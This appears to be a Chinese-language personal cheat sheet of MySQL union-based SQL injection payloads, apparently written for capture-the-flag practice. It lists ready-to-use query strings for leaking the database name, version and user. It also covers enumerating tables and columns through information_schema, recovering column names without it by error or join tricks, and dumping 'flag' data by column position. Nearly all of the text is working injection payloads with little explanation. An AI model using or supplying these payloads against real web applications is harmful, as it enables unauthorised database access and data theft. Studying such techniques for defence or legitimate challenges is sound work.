
好像没用

select 

select 回显数据

回显当前数据库名 union select 1,2,database() from table_name

回显当前数据库版本 union select 1,2,version() from table_name

回显当前user union select 1,2,user() from table_name 

回显全部该数据库的表名 Mysql版本>=5.0 能用information_schema union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

回显所有数据库名 Mysql版本>=5.0 能用information_schema

select * from table_name where id=2 and 0 union select 1,2,flag from database_name.table_name limit 1

回显特定表的所有字段

Mysql版本>=5.0 能用information_schema union select 1,2,group_concat(column_name) from information_schema.columns where table_name=flag_table

select * from table_name where id=2 and 0 union select 1,2,group_concat(flag) from flag_table

union select 1,2,group_concat(schema_name) from information_schema.schemata

MySQL >= 4.1 不用 information_schema 要确定db.user的所有字段

确定db.user的字段数量 ?id=1' and (select * from db.user)=1%23

获取db.user的各个字段名

要支持报错

?id=1' and (1,2,3,4)=(select * from db.user union select 1,2,3,4 limit 1) %23

MySQL5 不用information_schema 用 join

?id=1' union select * from (select * from emails join emails b)a%23

?id=1' union select * from (select * from emails join emails b using(id))a%23

到头了，就2个字段

获取特定字段数据

用字段名

不用字段名

select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;

?id=0' union select 1,2,(select concat(`2`) from (select 1,2,3 union select * from users)security limit 2,1)%23

?id=0' union select 1,2,(select concat(`2`) from (select 1,2,3 union select * from users)b limit 2,1)%23 
也行

dbname 只是作为 (select 1,2,3 union select * from users) 的别名，可以随便起

select 1,2,3 再 union * from users ，这里前面的select 1,2,3不能省

需要知道想要访问的表的字段的数量


